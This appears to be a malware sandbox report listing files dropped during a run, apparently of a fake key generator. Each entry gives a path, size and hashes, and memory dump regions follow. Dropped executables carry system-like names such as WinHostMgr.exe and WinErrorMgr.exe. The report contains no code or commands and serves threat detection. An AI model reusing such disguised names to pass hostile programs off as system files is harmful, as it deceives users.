9e350f0565cc726f66146838f9cebaaa38dd01892ffab9a45fe4f72e5be5459c0442e99107293a7c6f2412c71f668242c5e5a502124bc57cbf3b6ad8940cb3e9

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Filesize
8KB

MD5
864501eb206c12fe1771750f40995cbc

SHA1
2db7d927f4a73a6c83365a459732871f2f1303c7

SHA256
df53aa47293e1bce3af82829511d4fb17b4992e3b3db455abcec9e38e1e3f72c

SHA512
6b37719b5750a6cb1487b15ae235696354762eb5e02fcea36e02eba29bf1160ab3fecf99573c449eeb84784c606d358aeb448a6fc2e0f0fd2aa736bca7db6eef

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Filesize
8KB

MD5
f839e89e05b560308c6380f3fb17169a

SHA1
3fc093e38323f84aa23157458d401c2607181086

SHA256
efa30d3f4812b6978a10ba272a7b884eb27968e8ad5f5ae644b7be0cc50f55a7

SHA512
e5cf3a4025b059d9c14dd0982020ded2d7accf60f50c93a8b4eb9d87f7ac7a974d2657f9691d998f8e99896ba6b1c6566c7dd9d2da7f3533e36278e1d88443df

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\ShaderCache\GPUCache\data_1
Filesize
264KB

MD5
f50f89a0a91564d0b8a211f8921aa7de

SHA1
112403a17dd69d5b9018b8cede023cb3b54eab7d

SHA256
b1e963d702392fb7224786e7d56d43973e9b9efd1b89c17814d7c558ffc0cdec

SHA512
bf8cda48cf1ec4e73f0dd1d4fa5562af1836120214edb74957430cd3e4a2783e801fa3f4ed2afb375257caeed4abe958265237d6e0aacf35a9ede7a2e8898d58

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\be4637cd-b291-486b-8763-2c664da53e4c.tmp
Filesize
8KB

MD5
1e15943d0215aad19d10e34ba4c02cc2

SHA1
7153a367cdee160a9544b8e242affde06410d2af

SHA256
11dd78affbd990674b85f9c5d418d0fe8977d856e1d4bbe63a68f2ff3d046968

SHA512
153e5ea10162062723dce93b484ec103e30e8dbcb3bc0a37c94724c714521412df3a9fc31df2fec6b6f94be9d24ad6edac0572cebed00afd36d5d73ff6f5f47a

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
18KB

MD5
79d73ffe7b6145fdd19068e6c799db72

SHA1
997875f5dd3b95c210926f5018d99869ef06f08e

SHA256
a765441e32e27004c9632440a75faba0bf9410c557b9f1411eee42498d662dd5

SHA512
a6eda58a90db4b3d85d4d21adb8bc6ae1b9e18ecd69911a7d4f26376004f3d1cec50301cd81b01d27bef77b6436fbf3d34fd91d2c1e6bad90457ca08bb47cefc

Download Submit
C:\Users\Admin\AppData\Local\Temp\Ilkdt.exe
Filesize
191KB

MD5
e004a568b841c74855f1a8a5d43096c7

SHA1
b90fd74593ae9b5a48cb165b6d7602507e1aeca4

SHA256
d49013d6be0f0e727c0b53bce1d3fed00656c7a2836ceef0a9d4cb816a5878db

SHA512
402dd4d4c57fb6f5c7a531b7210a897dfe41d68df99ae4d605944f6e5b2cecaafa3fe27562fe45e7e216a7c9e29e63139d4382310b41f04a35ad56115fbed2af

Download Submit
C:\Users\Admin\AppData\Local\Temp\KeyGeneratorTOP.exe
Filesize
6.9MB

MD5
bd0e4823fbfed11abb6994db7d0e6c09

SHA1
8694f5a67686070fc81445edebef8ead6c38aca8

SHA256
a83dc0d4764f8e41e061dd4e331f341b09cc994fc339fed2445692df7b98affe

SHA512
37f7e77407571c8f4ac298a4580610b0787e7cf8c8993e6816895a1caa71e0c4d97b72f525b9f054071fbf14bf9e87c48c67b39dcc01448213a995d036ff84e0

Download Submit
C:\Users\Admin\AppData\Local\Temp\Sahyui1337.exe
Filesize
316KB

MD5
675d9e9ab252981f2f919cf914d9681d

SHA1
7485f5c9da283475136df7fa8b62756efbb5dd17

SHA256
0f055835332ef8e368185ae461e7c9eacdeb3d600ea550d605b09a20e0856e2d

SHA512
9dd936705fd43ebe8be17fcf77173eaaf16046f5880f8fe48fc68ded91ef6202ba65c605980bd2e330d2c7f463f772750a1bd96246fffdc9cb6bf8e1b00a2ccb

Download Submit
C:\Users\Admin\AppData\Local\Temp\WinErrorMgr.exe
Filesize
42KB

MD5
d499e979a50c958f1a67f0e2a28af43d

SHA1
1e5fa0824554c31f19ce01a51edb9bed86f67cf0

SHA256
bc3d545c541e42420ce2c2eabc7e5afab32c869a1adb20adb11735957d0d0b0e

SHA512
668047f178d82bebefeb8c2e7731d34ff24dc755dacd3362b43d8b44c6b148fc51af0d0ab2d0a67f0344ab6158b883fe568e4eeb0e34152108735574f0e1e763

Download Submit
C:\Users\Admin\AppData\Local\Temp\WinHostMgr.exe
Filesize
5.0MB

MD5
e222309197c5e633aa8e294ba4bdcd29

SHA1
52b3f89a3d2262bf603628093f6d1e71d9cc3820

SHA256
047a7ca1b8848c1c0e3c0fcc6ece056390760b24580f27f6966b86b0c2a1042b

SHA512
9eb37686e0cee9ec18d12a4edd37c8334d26650c74eae5b30231c2b0db1628d52848123c9348c3da306ec950b827ec0a56cdf43ee325a9e280022c68193d8503

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI15042\VCRUNTIME140.dll
Filesize
116KB

MD5
be8dbe2dc77ebe7f88f910c61aec691a

SHA1
a19f08bb2b1c1de5bb61daf9f2304531321e0e40

SHA256
4d292623516f65c80482081e62d5dadb759dc16e851de5db24c3cbb57b87db83

SHA512
0da644472b374f1da449a06623983d0477405b5229e386accadb154b43b8b083ee89f07c3f04d2c0c7501ead99ad95aecaa5873ff34c5eeb833285b598d5a655

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI15042\_bz2.pyd
Filesize
82KB

MD5
90f58f625a6655f80c35532a087a0319

SHA1
d4a7834201bd796dc786b0eb923f8ec5d60f719b

SHA256
bd8621fcc901fa1de3961d93184f61ea71068c436794af2a4449738ccf949946

SHA512
b5bb1ecc195700ad7bea5b025503edd3770b1f845f9beee4b067235c4e63496d6e0b19bdd2a42a1b6591d1131a2dc9f627b2ae8036e294300bb6983ecd644dc8

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI15042\_decimal.pyd
Filesize
247KB

MD5
f78f9855d2a7ca940b6be51d68b80bf2

SHA1
fd8af3dbd7b0ea3de2274517c74186cb7cd81a05

SHA256
d4ae192bbd4627fc9487a2c1cd9869d1b461c20cfd338194e87f5cf882bbed12

SHA512
6b68c434a6f8c436d890d3c1229d332bd878e5777c421799f84d79679e998b95d2d4a013b09f50c5de4c6a85fcceb796f3c486e36a10cbac509a0da8d8102b18

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI15042\_hashlib.pyd
Filesize
64KB

MD5
8baeb2bd6e52ba38f445ef71ef43a6b8

SHA1
4132f9cd06343ef8b5b60dc8a62be049aa3270c2

SHA256
6c50c9801a5caf0bb52b384f9a0d5a4aa182ca835f293a39e8999cf6edf2f087

SHA512
804a4e19ea622646cea9e0f8c1e284b7f2d02f3620199fa6930dbdadc654fa137c1e12757f87c3a1a71ceff9244aa2f598ee70d345469ca32a0400563fe3aa65

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI15042\_lzma.pyd
Filesize
155KB

MD5
cf8de1137f36141afd9ff7c52a3264ee

SHA1
afde95a1d7a545d913387624ef48c60f23cf4a3f

SHA256
22d10e2d6ad3e3ed3c49eb79ab69a81aaa9d16aeca7f948da2fe80877f106c16

SHA512
821985ff5bc421bd16b2fa5f77f1f4bf8472d0d1564bc5768e4dbe866ec52865a98356bb3ef23a380058acd0a25cd5a40a1e0dae479f15863e48c4482c89a03f

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI15042\_socket.pyd
Filesize
81KB

MD5
439b3ad279befa65bb40ecebddd6228b

SHA1
d3ea91ae7cad9e1ebec11c5d0517132bbc14491e

SHA256
24017d664af20ee3b89514539345caac83eca34825fcf066a23e8a4c99f73e6d

SHA512
a335e1963bb21b34b21aef6b0b14ba8908a5343b88f65294618e029e3d4d0143ea978a5fd76d2df13a918ffab1e2d7143f5a1a91a35e0cc1145809b15af273bd

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI15042\base_library.zip
Filesize
1.3MB

MD5
44db87e9a433afe94098d3073d1c86d7

SHA1
24cc76d6553563f4d739c9e91a541482f4f83e05

SHA256
2b8b36bd4b1b0ee0599e5d519a91d35d70f03cc09270921630168a386b60ac71

SHA512
55bc2961c0bca42ef6fb4732ec25ef7d7d2ec47c7fb96d8819dd2daa32d990000b326808ae4a03143d6ff2144416e218395cccf8edaa774783234ec7501db611

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI15042\libcrypto-3.dll
Filesize
4.9MB

MD5
51e8a5281c2092e45d8c97fbdbf39560

SHA1
c499c810ed83aaadce3b267807e593ec6b121211

SHA256
2a234b5aa20c3faecf725bbb54fb33f3d94543f78fa7045408e905593e49960a

SHA512
98b91719b0975cb38d3b3c7b6f820d184ef1b64d38ad8515be0b8b07730e2272376b9e51631fe9efd9b8a1709fea214cf3f77b34eeb9fd282eb09e395120e7cb

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI15042\python312.dll
Filesize
6.7MB

MD5
48ebfefa21b480a9b0dbfc3364e1d066

SHA1
b44a3a9b8c585b30897ddc2e4249dfcfd07b700a

SHA256
0cc4e557972488eb99ea4aeb3d29f3ade974ef3bcd47c211911489a189a0b6f2

SHA512
4e6194f1c55b82ee41743b35d749f5d92a955b219decacf9f1396d983e0f92ae02089c7f84a2b8296a3062afa3f9c220da9b7cd9ed01b3315ea4a953b4ecc6ce

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI15042\select.pyd
Filesize
29KB

MD5
e1604afe8244e1ce4c316c64ea3aa173

SHA1
99704d2c0fa2687997381b65ff3b1b7194220a73

SHA256
74cca85600e7c17ea6532b54842e26d3cae9181287cdf5a4a3c50af4dab785e5

SHA512
7bf35b1a9da9f1660f238c2959b3693b7d9d2da40cf42c6f9eba2164b73047340d0adff8995049a2fe14e149eba05a5974eee153badd9e8450f961207f0b3d42

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI15042\unicodedata.pyd
Filesize
1.1MB

MD5
fc47b9e23ddf2c128e3569a622868dbe

SHA1
2814643b70847b496cbda990f6442d8ff4f0cb09

SHA256
2a50d629895a05b10a262acf333e7a4a31db5cb035b70d14d1a4be1c3e27d309

SHA512
7c08683820498fdff5f1703db4ad94ad15f2aa877d044eddc4b54d90e7dc162f48b22828cd577c9bb1b56f7c11f777f9785a9da1867bf8c0f2b6e75dc57c3f53

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_r0btevju.bye.ps1
Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\tmpE85C.tmp
Filesize
1KB

MD5
7f673f709ab0e7278e38f0fd8e745cd4

SHA1
ac504108a274b7051e3b477bcd51c9d1a4a01c2c

SHA256
da5ab3278aaa04fbd51272a617aef9b903ca53c358fac48fc0f558e257e063a4

SHA512
e932ccbd9d3ec6ee129f0dab82710904b84e657532c5b623d3c7b3b4ce45732caf8ff5d7b39095cf99ecf97d4e40dd9d755eb2b89c8ede629b287c29e41d1132

Download Submit
\??\pipe\LOCAL\crashpad_5980_SQUYILVITDJCICJE
MD5
d41d8cd98f00b204e9800998ecf8427e

SHA1
da39a3ee5e6b4b0d3255bfef95601890afd80709

SHA256
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855

SHA512
cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

Download Submit
memory/636-0-0x0000021B315C0000-0x0000021B315C1000-memory.dmp

Filesize
4KB

Download
memory/636-9-0x0000021B315C0000-0x0000021B315C1000-memory.dmp

Filesize
4KB

Download
memory/636-10-0x0000021B315C0000-0x0000021B315C1000-memory.dmp

Filesize
4KB

Download
memory/636-11-0x0000021B315C0000-0x0000021B315C1000-memory.dmp

Filesize
4KB

Download
memory/636-12-0x0000021B315C0000-0x0000021B315C1000-memory.dmp

Filesize
4KB

Download
memory/636-6-0x0000021B315C0000-0x0000021B315C1000-memory.dmp

Filesize
4KB

Download
memory/636-8-0x0000021B315C0000-0x0000021B315C1000-memory.dmp

Filesize
4KB

Download
memory/636-2-0x0000021B315C0000-0x0000021B315C1000-memory.dmp

Filesize
4KB

Download
memory/636-7-0x0000021B315C0000-0x0000021B315C1000-memory.dmp

Filesize
4KB

Download
memory/636-1-0x0000021B315C0000-0x0000021B315C1000-memory.dmp

Filesize
4KB

Download
memory/704-119-0x0000000002AB0000-0x0000000002B15000-memory.dmp

Filesize
404KB

Download
memory/704-111-0x0000000002AB0000-0x0000000002B15000-memory.dmp

Filesize
404KB

Download
memory/704-33-0x0000000000730000-0x0000000000766000-memory.dmp

Filesize
216KB

Download
memory/704-103-0x0000000002AB0000-0x0000000002B15000-memory.dmp

Filesize
404KB

Download
memory/704-81-0x0000000002AB0000-0x0000000002B15000-memory.dmp

Filesize
404KB

Download
memory/704-69-0x0000000002AB0000-0x0000000002B15000-memory.dmp

Filesize
404KB

Download
memory/704-68-0x0000000002AB0000-0x0000000002B15000-memory.dmp

Filesize
404KB

Download
memory/704-66-0x0000000002AB0000-0x0000000002B15000-memory.dmp

Filesize
404KB

Download
memory/704-63-0x0000000002AB0000-0x0000000002B1C000-memory.dmp

Filesize
432KB

Download
memory/704-71-0x0000000002AB0000-0x0000000002B15000-memory.dmp

Filesize
404KB

Download
memory/704-123-0x0000000002AB0000-0x0000000002B15000-memory.dmp

Filesize
404KB

Download
memory/704-121-0x0000000002AB0000-0x0000000002B15000-memory.dmp

Filesize
404KB

Download
memory/704-117-0x0000000002AB0000-0x0000000002B15000-memory.dmp

Filesize
404KB

Download
memory/704-115-0x0000000002AB0000-0x0000000002B15000-memory.dmp

Filesize
404KB

Download
memory/704-113-0x0000000002AB0000-0x0000000002B15000-memory.dmp

Filesize
404KB

Download
memory/704-92-0x0000000002AB0000-0x0000000002B15000-memory.dmp

Filesize
404KB

Download
memory/704-75-0x0000000002AB0000-0x0000000002B15000-memory.dmp

Filesize
404KB

Download
memory/704-109-0x0000000002AB0000-0x0000000002B15000-memory.dmp

Filesize
404KB

Download
memory/704-77-0x0000000002AB0000-0x0000000002B15000-memory.dmp

Filesize
404KB

Download
memory/704-79-0x0000000002AB0000-0x0000000002B15000-memory.dmp

Filesize
404KB

Download
memory/704-107-0x0000000002AB0000-0x0000000002B15000-memory.dmp

Filesize
404KB

Download
memory/704-83-0x0000000002AB0000-0x0000000002B15000-memory.dmp

Filesize
404KB

Download
memory/704-105-0x0000000002AB0000-0x0000000002B15000-memory.dmp

Filesize
404KB

Download
memory/704-102-0x0000000002AB0000-0x0000000002B15000-memory.dmp

Filesize
404KB

Download
memory/704-99-0x0000000002AB0000-0x0000000002B15000-memory.dmp

Filesize
404KB

Download
memory/704-97-0x0000000002AB0000-0x0000000002B15000-memory.dmp

Filesize
404KB

Download
memory/704-86-0x0000000002AB0000-0x0000000002B15000-memory.dmp

Filesize
404KB

Download
memory/704-88-0x0000000002AB0000-0x0000000002B15000-memory.dmp

Filesize
404KB

Download
memory/704-90-0x0000000002AB0000-0x0000000002B15000-memory.dmp

Filesize
404KB

Download
memory/704-95-0x0000000002AB0000-0x0000000002B15000-memory.dmp

Filesize
404KB

Download
memory/1192-64-0x0000000000A00000-0x0000000000A10000-memory.dmp

Filesize
64KB

Download
memory/2872-1890-0x0000019AC4190000-0x0000019AC41AC000-memory.dmp

Filesize
112KB

Download
memory/2872-1891-0x0000019AC45F0000-0x0000019AC46A5000-memory.dmp

Filesize
724KB

Download
memory/2872-1892-0x0000019AC41B0000-0x0000019AC41BA000-memory.dmp

Filesize
40KB

Download
memory/2872-1893-0x0000019AC47F0000-0x0000019AC480C000-memory.dmp

Filesize
112KB

Download
memory/2872-1894-0x0000019AC41C0000-0x0000019AC41CA000-memory.dmp

Filesize
40KB

Download
memory/2872-1895-0x0000019AC4830000-0x0000019AC484A000-memory.dmp

Filesize
104KB

Download
memory/2872-1896-0x0000019AC41D0000-0x0000019AC41D8000-memory.dmp

Filesize
32KB

Download
memory/2872-1897-0x0000019AC4810000-0x0000019AC4816000-memory.dmp

Filesize
24KB

Download
memory/2872-1898-0x0000019AC4820000-0x0000019AC482A000-memory.dmp

Filesize
40KB

Download
memory/2932-1856-0x0000019AE28F0000-0x0000019AE2912000-memory.dmp

Filesize
136KB

Download
memory/3136-1743-0x0000000007AC0000-0x0000000007AD1000-memory.dmp

Filesize
68KB

Download
memory/3136-602-0x0000000006B10000-0x0000000006B5C000-memory.dmp

Filesize
304KB

Download
memory/3136-1758-0x0000000007BF0000-0x0000000007C0A000-memory.dmp

Filesize
104KB

Download
memory/3136-1756-0x0000000007B10000-0x0000000007B24000-memory.dmp

Filesize
80KB

Download
memory/3136-1755-0x0000000007B00000-0x0000000007B0E000-memory.dmp

Filesize
56KB

Download
memory/3136-93-0x0000000005760000-0x00000000057C6000-memory.dmp

Filesize
408KB

Download
memory/3136-1737-0x0000000007B50000-0x0000000007BE6000-memory.dmp

Filesize
600KB

Download
memory/3136-1731-0x0000000007930000-0x000000000793A000-memory.dmp

Filesize
40KB

Download
memory/3136-1728-0x0000000007F00000-0x000000000857A000-memory.dmp

Filesize
6.5MB

Download
memory/3136-1729-0x00000000078C0000-0x00000000078DA000-memory.dmp

Filesize
104KB

Download
memory/3136-469-0x0000000006590000-0x00000000065AE000-memory.dmp

Filesize
120KB

Download
memory/3136-1759-0x0000000007B40000-0x0000000007B48000-memory.dmp

Filesize
32KB

Download
memory/3136-1715-0x0000000007570000-0x00000000075A2000-memory.dmp

Filesize
200KB

Download
memory/3136-337-0x0000000005EA0000-0x00000000061F4000-memory.dmp

Filesize
3.3MB

Download
memory/3136-175-0x0000000005E00000-0x0000000005E66000-memory.dmp

Filesize
408KB

Download
memory/3136-1716-0x00000000752C0000-0x000000007530C000-memory.dmp

Filesize
304KB

Download
memory/3136-1727-0x00000000077B0000-0x0000000007853000-memory.dmp

Filesize
652KB

Download
memory/3136-1726-0x0000000006AC0000-0x0000000006ADE000-memory.dmp

Filesize
120KB

Download
memory/3136-51-0x0000000004FD0000-0x0000000005006000-memory.dmp

Filesize
216KB

Download
memory/3136-61-0x00000000057D0000-0x0000000005DF8000-memory.dmp

Filesize
6.2MB

Download
memory/3136-74-0x00000000056C0000-0x00000000056E2000-memory.dmp

Filesize
136KB

Download
memory/4540-55-0x00000182A1230000-0x00000182A1284000-memory.dmp

Filesize
336KB

Download